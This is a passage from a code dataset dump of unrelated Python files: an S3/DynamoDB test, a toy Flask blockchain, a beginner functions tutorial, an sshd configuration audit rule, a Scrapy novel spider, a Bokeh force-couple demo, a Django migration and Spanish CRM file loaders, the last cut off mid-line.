\"foo.zip\"\n\n\ndef test_publishable_layers_skips_old_layer(s3, dynamo_table):\n    the_future = datetime(2080, 1, 1).isoformat()\n    # This test will fail in the year 2080. Probably ok. I'll be dead anyways.\n    dynamo_table.put_item(Item={\"LayerName\": \"foo\",\n                                \"LastMod\": the_future})\n    upload = s3.Bucket(\"upload\")\n    upload.put_object(Key=\"foo.zip\", Body=\"Some data\")\n    layers = list(publishable_layers(upload, dynamo_table))\n    assert not layers\n","sub_path":"tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"343626133","text":"import time\nimport json\nimport hashlib\n\nclass Block:\n    def __init__(self, index, sender, receiver, amount, timestamp, previous_hash, nonce = 0):\n        self.index = index\n        self.sender = sender\n        self.receiver = receiver\n        self.amount = amount\n        self.timestamp = timestamp\n        self.nonce = nonce\n        self.hash = \"\"\n        self.previous_hash = previous_hash\n\n    def compute_hash(self):\n        #block_string = json.dumps(self.__dict__, sort_keys=True)\n        #block_string = str(self.index) + (str(self.timestamp)).replace(\".\",\"\") + self.previous_hash + str(self.nonce)\n\n        block_string = self.previous_hash + str(self.nonce)\n\n        return hashlib.sha1(block_string.encode()).hexdigest()\n\n\nclass Blockchain:\n    difficulty = 1\n\n    def __init__(self):\n        self.chain = []\n        self.create_genesis_block()\n\n    def create_genesis_block(self):\n        genesis_block = Block(0, \"AVR\", \"GENESIS\", 0, time.time(), \"0\"*40)\n        genesis_block.hash = genesis_block.compute_hash()\n        (self.chain).append(genesis_block)\n\n\n    def last_block(self):\n        return self.chain[-1]\n\n    def proof_of_work(self, block):\n        computed_hash = \"\"\n        while not computed_hash.startswith(\"0\"*Blockchain.difficulty):\n            block.nonce += 1\n            block.hash = computed_hash = block.compute_hash()\n\n        print(\"Block mined with a nonce: \" + str(block.nonce))\n        return computed_hash\n\n    def add_block(self, block, proof):\n        previous_hash = self.last_block().hash\n\n        if previous_hash != block.previous_hash:\n            return False\n\n        if not self.is_valid_proof(block, proof):\n            return False\n\n        block.hash = proof\n        self.chain.append(block)\n        return True\n\n\n    def is_valid_proof(self, block, proof):\n        return (block.hash.startswith('0'*Blockchain.difficulty)) and proof == block.compute_hash()\n\n    def mine(self):\n        print(\"Mining ...\")\n        last_block = self.last_block()\n        new_block = Block(index = last_block.index+1, sender=\"AVR\", receiver=\"jaychandra\", amount=100, timestamp = time.time(), previous_hash = last_block.hash)\n        proof = self.proof_of_work(new_block)\n\n        self.add_block(new_block, proof)\n        return new_block\n\n\nb = Blockchain()\n\nfrom flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\n@app.route(\"/mine\", methods=['GET'])\ndef mine_route():\n    block = b.mine()\n    s = {\n            \"Block index\" : block.index,\n            \"Hash \" : block.hash,\n            \"Previous Hash \" : block.previous_hash,\n            \"Timestamp \" : block.timestamp,\n            \"sender\" : block.sender,\n            \"receiver\" : block.receiver,\n            \"amount\" : block.amount\n        }\n\n    return jsonify(s)\n\n@app.route(\"/chain\", methods=['GET'])\ndef get_chain():\n    chain = b.chain\n    res = []\n\n    for block in chain:\n        s = {\n            \"Block index\" : block.index,\n            \"Hash \" : block.hash,\n            \"Previous Hash \" : block.previous_hash,\n            \"Timestamp \" : block.timestamp,\n            \"sender\" : block.sender,\n            \"receiver\" : block.receiver,\n            \"amount\" : block.amount\n        }\n\n        res.append(s)\n    return jsonify(res)\n\n\n#this block will send the most recent block's data to the microcontroller\n@app.route(\"/get_data\", methods=['GET'])\ndef get_data():\n    block = b.chain[-1]\n    s = {\n        \"previous_hash\":block.hash,\n        \"index\" : block.index,\n        \"timestamp\" : block.timestamp,\n        \"index\" : block.index\n    }\n\n    return jsonify(s)\n\n\n#this route will accept data from avr microcontrollers mined data and will accept or reject it\n@app.route(\"/block\", methods=['POST'])\ndef block_route():\n    json_data = request.json\n    print(json_data)\n    \n    last_block = b.chain[-1]\n\n    new_block = Block(index = last_block.index+1, sender=json_data[\"sender\"], receiver=json_data[\"receiver\"], amount=json_data[\"amount\"], timestamp = time.time(), previous_hash = last_block.hash, nonce = json_data[\"nonce\"])\n    new_block.hash = json_data[\"hash\"]\n    proof = json_data[\"hash\"]\n\n    #print(b.is_valid_proof(new_block, proof))\n\n    if(b.add_block(new_block, proof)):\n        return jsonify({\"message\" : \"ACCEPTED\"})\n\n\n\n    return jsonify({\"message\" : \"REJECTED\"})\n\napp.run(port=3000, debug=True)\n","sub_path":"block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"448924777","text":"# first ex creating function\n# def = definition, ( parameter)\n# docstring is second line under def for notes\n\ndef print_num(x):\n    \"\"\"this is a docstring for user info\"\"\"\n    a = 0\n    while a < x:\n        print(\"num: \",a, end=',')\n        a += 1\n\nprint_num(10)\n\n# rename function\np = print_num\np(3)\n\ndef return_nums(x):\n    \"\"\"this time we return the values\"\"\"\n    print(\"here is round two, with return!\")\n   \n    arr = []\n    y = 1\n    while y < x:\n        arr.append(y)\n        y += 1\n    return arr\n\nresult = return_nums(20)\n# print out returned array of values\n# print(result)   // works correctly\n\ndef def1(prompt):\n    val = input(prompt)\n    if prompt in ('y', 'ye','yes'):\n        return \"True\"\n    else:\n        return \"false\"\ndef1(\"hi\")\n\n\n\n","sub_path":"defining_fx.py","file_name":"defining_fx.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"295851379","text":"from insights.core.plugins import make_response, rule\nfrom insights.parsers.secure_shell import SshDConfig\nfrom insights.parsers.installed_rpms import InstalledRpms\n\nERROR_KEY = \"SSHD_SECURE\"\n\n\ndef check_auth_method(sshd_config, errors):\n    auth_method = sshd_config.last('AuthenticationMethods')\n    if auth_method:\n        if auth_method.lower() != 'publickey':\n            errors['AuthenticationMethods'] = auth_method\n    else:\n        errors['AuthenticationMethods'] = 'default'\n    return errors\n\n\ndef check_log_level(sshd_config, errors):\n    log_level = sshd_config.last('LogLevel')\n    if log_level:\n        if log_level.lower() != 'verbose':\n            errors['LogLevel'] = log_level\n    else:\n        errors['LogLevel'] = 'default'\n    return errors\n\n\ndef check_permit_root(sshd_config, errors):\n    permit_root = sshd_config.last('PermitRootLogin')\n    if permit_root:\n        if permit_root.lower() != 'no':\n            errors['PermitRootLogin'] = permit_root\n    else:\n        errors['PermitRootLogin'] = 'default'\n    return errors\n\n\ndef check_protocol(sshd_config, errors):\n    # Default Protocol is 2 if not specified\n    protocol = sshd_config.last('Protocol')\n    if protocol:\n        if protocol.lower() != '2':\n            errors['Protocol'] = protocol\n    return errors\n\n\n@rule(InstalledRpms, SshDConfig)\ndef report(installed_rpms, sshd_config):\n    errors = {}\n    errors = check_auth_method(sshd_config, errors)\n    errors = check_log_level(sshd_config, errors)\n    errors = check_permit_root(sshd_config, errors)\n    errors = check_protocol(sshd_config, errors)\n\n    if errors:\n        openssh_version = installed_rpms.get_max('openssh')\n        return make_response(ERROR_KEY, errors=errors, openssh=openssh_version.package)\n","sub_path":"docs/examples/rules/sshd_secure.py","file_name":"sshd_secure.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"191185488","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass WuxiabotSpider(scrapy.Spider):\n    name = 'wuxiabot'\n    allowed_domains = ['www.wuxiaworld.com']\n    #Input whatever link you want to start from into start_urls on Wuxiaworld\n    #Multiple links can be added with , after each one.\n    start_urls = ['https://www.wuxiaworld.com/novel/child-of-light/col-volume-5-chapter-9/']\n\n    def parse(self, response):\n    \tSET_SELECTOR = '//div[@class=\"p-15\"]'\n    \tfor story in response.xpath(SET_SELECTOR):\n            #Selects the Title\n    \t\tTITLE_SELECTOR = 'div h4 ::text'\n            #Selects the Story paragraph by paragraph\n    \t\tSTORY_SELECTOR = 'div p span ::text'\n    \t\tyield {\n    \t\t'title': story.css(TITLE_SELECTOR).extract_first(), \n    \t\t'story': story.css(STORY_SELECTOR).extract()\n    \t\t}\n        #Selects the next button\n    \tNEXT_PAGE_SELECTOR = '//li[@class=\"next\"]//a/@href'\n    \tnext_page = response.xpath(NEXT_PAGE_SELECTOR).extract_first()\n    \tif next_page:\n    \t\tyield scrapy.Request(\n    \t\t\tresponse.urljoin(next_page),\n    \t\t\tcallback=self.parse\n    \t\t)\n\n\n","sub_path":"ww/ww/spiders/wuxiabot.py","file_name":"wuxiabot.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"335134400","text":"\"\"\"\nPython Bokeh program which interactively change two vectos and display its sum\n\ndone by :Rishith Ellath Meethal\n\"\"\"\n\nfrom bokeh.plotting import figure \nfrom bokeh.layouts import column, row\nfrom bokeh.models import ColumnDataSource, Slider, LabelSet, Arrow, OpenHead, Line,Div\nfrom bokeh.io import curdoc\nfrom os.path import dirname, join\nimport numpy as np\n\n\n\n#Plot source:\nplot_source = ColumnDataSource(data=dict(x = np.linspace(0,40,100), y = np.linspace(0,0,100)))\n\n#Force Vectors\nP1_arrow_source = ColumnDataSource(data=dict(xS=[], xE=[], yS=[], yE=[], lW = []))\nP2_arrow_source = ColumnDataSource(data=dict(xS=[], xE=[], yS=[], yE=[], lW = []))\nF1_arrow_source = ColumnDataSource(data=dict(xS=[], xE=[], yS=[], yE=[], lW = []))\nF2_arrow_source = ColumnDataSource(data=dict(xS=[], xE=[], yS=[], yE=[], lW = []))\n#labels for Forces\nP1_label_source = ColumnDataSource(data=dict(x=[],y=[],P1=[]))\nP2_label_source = ColumnDataSource(data=dict(x=[],y=[],P2=[]))\nF1_label_source = ColumnDataSource(data=dict(x=[],y=[],F1=[]))\nF2_label_source = ColumnDataSource(data=dict(x=[],y=[],F2=[]))\n#Triangle source:\ntriangle_source = ColumnDataSource(data=dict(x= [], y= [], size = []))\n#plot corresponding  to  change in  Force\nForcegraphTop=ColumnDataSource(data=dict(x=[], y=[])) \nForcegraphBottom=ColumnDataSource(data=dict(x=[], y=[])) \n\n\ndef initialise():\n    P1_arrow_source.data = dict(xS=[0], xE=[0], yS=[-10], yE=[0], lW = [5])\n    P1_label_source.data = dict(x=[1],y=[-7],P1=[\"P\"u\"\\u2081\"])\n    P2_arrow_source.data = dict(xS=[40], xE=[40], yS=[10], yE=[0], lW = [5])\n    P2_label_source.data = dict(x=[37.5],y=[5],P2=[\"P\"u\"\\u2082\"])\n    F1_arrow_source.data = dict(xS=[0], xE=[0], yS=[10], yE=[0], lW = [5])\n    F1_label_source.data = dict(x=[1],y=[5],F1=[\"F\"u\"\\u2081\"])\n    F2_arrow_source.data = dict(xS=[40], xE=[40], yS=[-10], yE=[0], lW = [5])\n    F2_label_source.data = dict(x=[37.5],y=[-7],F2=[\"F\"u\"\\u2082\"])\n    triangle_source.data = dict(x = [20], y = [-2], size = [20,20]) \n    ForcegraphTop.data      = dict(x =[0],y =[10] )\n    ForcegraphBottom.data      = dict(x =[40],y =[-10] )\n\n\nplot = figure(title=\"\", x_range=(0-2,40+2), y_range=(-50,50))\nplot.axis.axis_label_text_font_style=\"normal\"\nplot.axis.axis_label_text_font_size=\"14pt\"\nplot.xaxis.axis_label=\"Distance [m]\"\nplot.yaxis.axis_label=\"Force [N]\"\n\nmy_line=plot.line(x='x', y='y', source=plot_source, color='#3070B3',line_width=20)\nplot.triangle(x='x', y='y', size = 'size', source= triangle_source,color=\"#E37222\", line_width=2)\n\n#plotting Vectors as arrows\nP1_arrow_glyph = Arrow(end=OpenHead(line_color=\"#A2AD00\",line_width= 4, size=10),\n    x_start='xS', y_start='yS', x_end='xE', y_end='yE',line_width= \"lW\", source=P1_arrow_source,line_color=\"#A2AD00\")\nP2_arrow_glyph = Arrow(end=OpenHead(line_color=\"#A2AD00\",line_width= 4, size=10),\n    x_start='xS', y_start='yS', x_end='xE', y_end='yE',line_width= \"lW\", source=P2_arrow_source,line_color=\"#A2AD00\")\nF1_arrow_glyph = Arrow(end=OpenHead(line_color=\"#E37222\",line_width= 4, size=10),\n    x_start='xS', y_start='yS', x_end='xE', y_end='yE',line_width= \"lW\", source=F1_arrow_source,line_color=\"#E37222\")\nF2_arrow_glyph = Arrow(end=OpenHead(line_color=\"#E37222\",line_width= 4, size=10),\n    x_start='xS', y_start='yS', x_end='xE', y_end='yE',line_width= \"lW\", source=F2_arrow_source,line_color=\"#E37222\")\nP1_label_glyph=LabelSet(x='x', y='y',text='P1',text_font_size=\"15pt\",level='glyph',source=P1_label_source)\nP2_label_glyph=LabelSet(x='x', y='y',text='P2',text_font_size=\"15pt\",level='glyph',source=P2_label_source)\nF1_label_glyph=LabelSet(x='x', y='y',text='F1',text_font_size=\"15pt\",level='glyph',source=F1_label_source)\nF2_label_glyph=LabelSet(x='x', y='y',text='F2',text_font_size=\"15pt\",level='glyph',source=F2_label_source)\nplot.add_layout(P1_arrow_glyph)\nplot.add_layout(P2_arrow_glyph)\nplot.add_layout(F1_arrow_glyph)\nplot.add_layout(F2_arrow_glyph)\nplot.add_layout(P1_label_glyph)\nplot.add_layout(P2_label_glyph)\nplot.add_layout(F1_label_glyph)\nplot.add_layout(F2_label_glyph)\nplot.line(x='x',y='y', source=ForcegraphTop,line_width=3,line_color=\"#E37222\",legend=\" Force amplitude\", line_dash='dotted')\nplot.line(x='x',y='y', source=ForcegraphBottom,line_width=3,line_color=\"#E37222\",legend=\" Force amplitude\",line_dash='dotted' )\n\n\ninitialise()\n\ndef changeF1F2(attr,old,new):\n    \n     #changing Force graph back to initial condition\n     ForcegraphTop.data      = dict(x =[0],y =[10] )\n     ForcegraphBottom.data      = dict(x =[40],y =[-10] )\n     YS = 400/(40-2*new)\n     F1_arrow_source.data = dict(xS=[0+new], xE=[0+new], yS=[YS], yE=[0], lW = [5])\n     F1_label_source.data = dict(x=[1+new],y=[5],F1=[\"F\"u\"\\u2081\"])\n     F2_arrow_source.data = dict(xS=[40-new], xE=[40-new], yS=[-YS], yE=[0], lW = [5])\n     F2_label_source.data = dict(x=[37.5-new],y=[-7],F2=[\"F\"u\"\\u2082\"])\n     XcordinatesT=[None]*(new+2)\n     XcordinatesB=[None]*(new+2)\n     YcordinatesT=[None]*(new+2)\n     YcordinatesB=[None]*(new+2)\n    \n    \n     XcordinatesT[0]=0\n     XcordinatesB[0]=40\n     YcordinatesT[0]=10\n     YcordinatesB[0]=-10\n     i=1\n     count = 1\n     for i in range(new+1):\n         XcordinatesT[count]=(i)\n         XcordinatesB[count]=40-(i)\n\n         y=400/float((40-(2*(i))))  # calculation of Force which will make equal amount of moment\n         YcordinatesT[count]=y\n         YcordinatesB[count]=-y\n         count=count+1\n                     \n                     \n     new_dataT= {\n    'x' : XcordinatesT,\n    'y' : YcordinatesT,\n            }\n     \n     ForcegraphTop.stream(new_dataT)\n     \n     new_dataB= {\n    'x' : XcordinatesB,\n    'y' : YcordinatesB,\n            }\n     ForcegraphBottom.stream(new_dataB)\n     \n#creating  slider to change location of Forces F1 and F2\nF1F2Location_slider= Slider(title=\"Change Location of F\"u\"\\u2081 and F\"u\"\\u2082 (m)\",value= 0,start = 0, end = 19, step = 1)\nF1F2Location_slider= Slider(title=\"Change Location of F\"u\"\\u2081 and F\"u\"\\u2082 together\",value= 0,start = 0, end = 19, step = 1)\nF1F2Location_slider.on_change('value',changeF1F2)\n\n#adding description from HTML file\ndescription_filename = join(dirname(__file__), \"description.html\")\ndescription = Div(text=open(description_filename).read(), render_as_text=False, width=1200)\n\ncurdoc().add_root(column(description,row(plot,column(F1F2Location_slider))))\n#curdoc().title = \"\"","sub_path":"Couple_moment/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"510254453","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='AddressCustomerProvider',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('title', models.CharField(default=b'OFICINA_PRINCIPAL', help_text=b'Titulo de la Direccion', max_length=150, choices=[(b'OFICINA_PRINCIPAL', b'Oficina Principal'), (b'SUCURSAL', b'Sucursal'), (b'ALMACEN', b'Almacen'), (b'PLANTA', b'Planta')])),\n                ('region', models.CharField(help_text=b'region', max_length=150)),\n                ('provincia', models.CharField(help_text=b'provincia', max_length=150)),\n                ('distrito', models.CharField(help_text=b'distrito', max_length=150)),\n                ('direccion', models.CharField(help_text=b'Direccion de la Empresa', max_length=150)),\n            ],\n            options={\n                'verbose_name': 'Direccion de la empresa proveedora',\n                'verbose_name_plural': 'Direcciones de la empresa proveedora',\n            },\n        ),\n        migrations.CreateModel(\n            name='ContactCustomerProvider',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('title', models.CharField(max_length=50)),\n                ('telefono', models.IntegerField()),\n                ('email', models.EmailField(max_length=254)),\n            ],\n            options={\n                'verbose_name': 'Dato de Contacto de la empresa Provedora',\n                'verbose_name_plural': 'Datos de Contacto de la empresa Provedora',\n            },\n        ),\n        migrations.CreateModel(\n            name='CustomerProvider',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('ruc', models.BigIntegerField(help_text=b'Ingrese el numero de RUC', verbose_name=b'RUC de la empresa')),\n                ('logo', models.ImageField(upload_to=b'customer_buy_logo/')),\n                ('foto_institucional', models.ImageField(upload_to=b'customer_buy_foto_portada/')),\n                ('razon_social', models.CharField(help_text=b'ingrese la razon social', max_length=150, verbose_name=b'Razon Social de la Empresa')),\n                ('phone', models.IntegerField(help_text=b'Ingrese su Numero de Telefono', verbose_name=b'Telefono', blank=True)),\n                ('cel', models.IntegerField(help_text=b'Ingrese su Numero de celular', verbose_name=b'Celular', blank=True)),\n                ('inicio_de_actividades', models.DateField(help_text=b'Ingrese la fecha de inicio de actividades', verbose_name=b'Fecha de Inicio de Actividades')),\n                ('numero_de_trabajadores', models.CharField(default=b'1 trabajador', max_length=250, choices=[(b'1t', b'1 trabajador'), (b'2a10t', b'2 a 10 trabajadores'), (b'11a100t', b'11 a 100 trabajadores'), (b'101a1000t', b'101 a 1000 trabajadores'), (b'1001a5000t', b'1001 a 5000 trabajadores'), (b'5000a+t', b'5000 a + trabajadores')])),\n                ('website', models.URLField(help_text=b'Ingrese su sitio web', verbose_name=b'Sitio Web', blank=True)),\n                ('email', models.EmailField(help_text=b'ingrese su email', max_length=254, blank=True)),\n                ('sector', models.CharField(help_text=b'ingrese su sector', max_length=150, blank=True)),\n                ('customer', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n            ],\n            options={\n                'verbose_name': 'Empresa Provedora',\n                'verbose_name_plural': 'Empresas Provedoras',\n            },\n        ),\n        migrations.CreateModel(\n            name='ProductCustomerProvider',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name_product', models.CharField(max_length=250)),\n                ('image_product', models.ImageField(upload_to=b'product_customer_buy/', blank=True)),\n                ('customer_provider', models.ForeignKey(to='customerprovider.CustomerProvider')),\n            ],\n            options={\n                'verbose_name': 'Producto de la empresa proveedora',\n                'verbose_name_plural': 'Productos de la empresa proveedora',\n            },\n        ),\n        migrations.CreateModel(\n            name='TagProductCustomerProvider',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=50)),\n                ('customer_provider', models.ForeignKey(to='customerprovider.CustomerProvider')),\n            ],\n            options={\n                'verbose_name': 'Categoria de producto de la empresa proveedora',\n                'verbose_name_plural': 'Categorias de los productos de la empresa proveedora',\n            },\n        ),\n        migrations.AddField(\n            model_name='productcustomerprovider',\n            name='tag_product',\n            field=models.ForeignKey(to='customerprovider.TagProductCustomerProvider'),\n        ),\n        migrations.AddField(\n            model_name='contactcustomerprovider',\n            name='customer_provider',\n            field=models.ForeignKey(to='customerprovider.CustomerProvider'),\n        ),\n        migrations.AddField(\n            model_name='addresscustomerprovider',\n            name='customer_provider',\n            field=models.ForeignKey(to='customerprovider.CustomerProvider'),\n        ),\n    ]\n","sub_path":"customerprovider/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"56320617","text":"#from Archivos import Clases\r\nimport Clases\r\n\r\nimport datetime\r\nimport random\r\n\r\n# Carga la lista de clientes del fichero (o los datos base creados para pruebas)\r\ndef cargar_datos_clientes():\r\n    clientes = []\r\n    with open('Datos/Clientes.txt') as f:\r\n        lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[6] == \"Sponsor\":\r\n                tipocliente = Clases.TipoCliente.Sponsor\r\n            elif datos[6] == \"Proveedor\":\r\n                tipocliente = Clases.TipoCliente.Proveedor\r\n            else:\r\n                tipocliente = Clases.TipoCliente.Cliente\r\n            cliente = Clases.Cliente(datos[1],datos[2],datos[3],\r\n                                     datos[4],datos[5],tipocliente,datos[0])\r\n            clientes.append(cliente)\r\n\r\n    return clientes\r\n\r\ndef cargar_datos_empleados():\r\n    empleados = []\r\n    with open('Datos/Empleados.txt') as f:\r\n        lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[6] == \"Administrativo\":\r\n                departamento = Clases.Departamento.Administrativo\r\n            elif datos[6] == \"Ventas\":\r\n                departamento = Clases.Departamento.Ventas\r\n            elif datos[6] == \"RRHH\":\r\n                departamento = Clases.Departamento.RRHH\r\n            elif datos[6] == \"Salud\":\r\n                departamento = Clases.Departamento.Salud\r\n            else:\r\n                departamento = Clases.Departamento.Comercial\r\n            empleado = Clases.Empleado(datos[1], datos[2], datos[3], datos[4], datos[5], departamento,\r\n                                       datos[7], datos[0])\r\n            empleados.append(empleado)\r\n\r\n    return empleados\r\n\r\ndef cargar_datos_actividades():\r\n    actividades = []\r\n    with open('Datos/Actividades.txt') as f:\r\n        lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[4] == \"Llamada\":\r\n                tipoactividad = Clases.TipoActividad.Llamada\r\n            elif datos[4] == \"Promocion\":\r\n                tipoactividad = Clases.TipoActividad.Promocion\r\n            elif datos[4] == \"Informe\":\r\n                tipoactividad = Clases.TipoActividad.Informe\r\n            else:\r\n                tipoactividad = Clases.TipoActividad.Reunion\r\n            \r\n            actividad = Clases.Actividad(datos[1], datos[2], datos[3], tipoactividad, datos[0])\r\n            actividades.append(actividad)\r\n\r\n    return actividades\r\n\r\ndef cargar_datos_informes():\r\n\r\n    clientes = cargar_datos_clientes()\r\n    empleados = cargar_datos_empleados()\r\n    actividades = cargar_datos_actividades()\r\n\r\n    informes = []\r\n    with open('Datos/Informes.txt') as f:\r\n        lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lineas:\r\n            id_informe = linea[0:linea.find(\",\")]\r\n            id_actividad = linea[(linea.find(\",\") + 1):(linea.find(\"(\") - 1)]\r\n            ids_clientes_informe = linea[(linea.find(\"(\") + 1):linea.find(\")\")].split(\",\")\r\n            ids_empleados_informe = linea[(linea.rfind(\"(\") + 1):linea.rfind(\")\")].split(\",\")\r\n            informe = Clases.Informe(None, None, None, id_informe)\r\n\r\n            actividad = \"\"\r\n            for act in actividades:\r\n                if id_actividad == act.id:\r\n                    actividad = act\r\n            informe.setActividad(actividad)\r\n\r\n            empleados_informe = []\r\n            for id_emp_informe in ids_empleados_informe:\r\n                for emple in empleados:\r\n                    if id_emp_informe == emple.id:\r\n                        empleados_informe.append(emple)\r\n            informe.setEmpleados(empleados_informe)\r\n\r\n            clientes_informe = []\r\n            for id_clien_informe in ids_clientes_informe:\r\n                for clien in clientes:\r\n                    if id_clien_informe == clien.id:\r\n                        clientes_informe.append(clien)\r\n            informe.setClientes(clientes_informe)\r\n\r\n            #informe = Clases.Informe(actividad, clientes, empleados, id_informe)\r\n            informes.append(informe)\r\n\r\n    return informes\r\n\r\ndef cargar_datos_oportunidades():\r\n    informes = cargar_datos_informes()\r\n\r\n    oportunidades = []\r\n    with open('Datos/Oportunidades.txt') as f:\r\n        lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lineas:\r\n            id_oportunidad = linea[0:linea.find(\",\")]\r\n            nombre_oportunidad = linea[(linea.find(\",\") + 1):(linea.find(\"(\") - 1)]\r\n            ids_informes_oportunidad = linea[(linea.find(\"(\") + 1):linea.find(\")\")].split(\",\")\r\n            dinero_estimado = linea[(linea.find(\")\") + 2):linea.rfind(\",\")]\r\n            nombre_tipoetapa = linea[(linea.rfind(\",\") + 1):]\r\n\r\n            lista_informes_opourtunidad = []\r\n            for id_informe_oportunidad in ids_informes_oportunidad:\r\n                for informe in informes:\r\n                    if id_informe_oportunidad == informe.getId():\r\n                        lista_informes_opourtunidad.append(informe)\r\n\r\n            if nombre_tipoetapa == \"Propuesta\":\r\n                tipoetapa = Clases.TipoEtapa.Propuesta\r\n            elif nombre_tipoetapa == \"Calificado\":\r\n                tipoetapa = Clases.TipoEtapa.Calificado\r\n            elif nombre_tipoetapa == \"Ganada\":\r\n                tipoetapa = Clases.TipoEtapa.Ganada\r\n            elif nombre_tipoetapa == \"Suspendida\":\r\n                tipoetapa = Clases.TipoEtapa.Suspendida\r\n            else:\r\n                tipoetapa = Clases.TipoEtapa.Nueva\r\n\r\n            oportunidad = Clases.Oportunidad(str(nombre_oportunidad), lista_informes_opourtunidad, str(dinero_estimado), tipoetapa, id_oportunidad)\r\n            oportunidades.append(oportunidad)\r\n\r\n    return oportunidades\r\n\r\ndef guardar_cliente(cliente):\r\n    linea = \"{0},{1},{2},{3},{4},{5},{6}\".format(str(cliente.id),str(cliente.dni),str(cliente.nombre),\r\n                                                 str(cliente.apellidos),str(cliente.email),\r\n                                                 str(cliente.fecha_nacimiento),str(cliente.tipocliente.name))\r\n    f = open(\"Datos/Clientes.txt\", \"a+\") # <- a significa que es para añadir (append) líneas al final, no sobreescribe\r\n    f.write(\"\\n\" + linea)\r\n    f.close()\r\n\r\ndef guardar_empleado(empleado):\r\n    linea = \"{0},{1},{2},{3},{4},{5},{6},{7}\".format(str(empleado.id),str(empleado.dni),str(empleado.nombre),\r\n                                                 str(empleado.apellidos),str(empleado.email),\r\n                                                 str(empleado.fecha_nacimiento),str(empleado.departamento.name),\r\n                                                 str(empleado.fecha_contratacion))\r\n    f = open(\"Datos/Empleados.txt\", \"a+\") # <- a significa que es para añadir (append) líneas al final, no sobreescribe\r\n    f.write(\"\\n\" + linea)\r\n    f.close()\r\n\r\ndef guardar_actividad(actividad):\r\n    linea = \"{0},{1},{2},{3},{4}\".format(str(actividad.id),str(actividad.descripcion),str(actividad.fecha_vencimiento),\r\n                                                 str(actividad.fecha_planificacion),str(actividad.tipoactividad.name))\r\n    f = open(\"Datos/Actividades.txt\", \"a+\") # <- a significa que es para añadir (append) líneas al final, no sobreescribe\r\n    f.write(\"\\n\" + linea)\r\n    f.close()\r\n\r\n# Genera una línea (string) para guardarla en el fichero informes.\r\ndef linea_informe(informe):\r\n    id = str(informe.getId())\r\n    actividad = str(informe.getActividad().id)\r\n\r\n    clientes = \"\"\r\n    if len(informe.getClientes()) > 0:\r\n        for clien in informe.getClientes():\r\n            clientes += \",\" + str(clien.id)\r\n        clientes = clientes[(clientes.find(\",\") + 1):]\r\n    clientes = \"(\" + clientes + \")\"\r\n\r\n    empleados = \"\"\r\n    if len(informe.getEmpleados()) > 0:\r\n        for emple in informe.getEmpleados():\r\n            empleados += \",\" + str(emple.id)\r\n        empleados = empleados[(empleados.find(\",\") + 1):]\r\n    empleados = \"(\" + empleados + \")\"\r\n\r\n    linea = id + \",\" + actividad + \",\" + clientes + \",\" + empleados\r\n    return linea\r\n\r\ndef guardar_informe(informe):\r\n    linea = linea_informe(informe)\r\n    f = open(\"Datos/Informes.txt\", \"a+\")  # <- a significa que es para añadir (append) líneas al final, no sobreescribe\r\n    f.write(\"\\n\" + linea)\r\n    f.close()\r\n\r\ndef linea_oportunidad(oportunidad):\r\n    id = str(oportunidad.id)\r\n    nombre = str(oportunidad.nombre)\r\n    dinero_estimado = str(oportunidad.dinero_estimado)\r\n    tipoetapa = str(oportunidad.tipoetapa.name)\r\n\r\n    informes = \"\"\r\n    if len(oportunidad.informes) > 0:\r\n        for informe in oportunidad.informes:\r\n            informes += \",\" + str(informe.getId())\r\n        informes = informes[(informes.find(\",\") + 1):]\r\n    informes = \"(\" + informes + \")\"\r\n\r\n    linea = id + \",\" + nombre + \",\" + informes + \",\" + dinero_estimado + \",\" + tipoetapa\r\n    return linea\r\n\r\ndef guardar_oportunidad(oportunidad):\r\n    linea = linea_oportunidad(oportunidad)\r\n    f = open(\"Datos/Oportunidades.txt\", \"a+\")\r\n    f.write(\"\\n\" + linea)\r\n    f.close()\r\n\r\ndef modificar_oportunidad(oportunidad):\r\n    linea_a_modificar = linea_oportunidad(oportunidad)\r\n    posicion = 0\r\n\r\n    with open('Datos/Oportunidades.txt') as f:\r\n        x = 0\r\n        lista_lineas = [line.rstrip('\\n') for line in 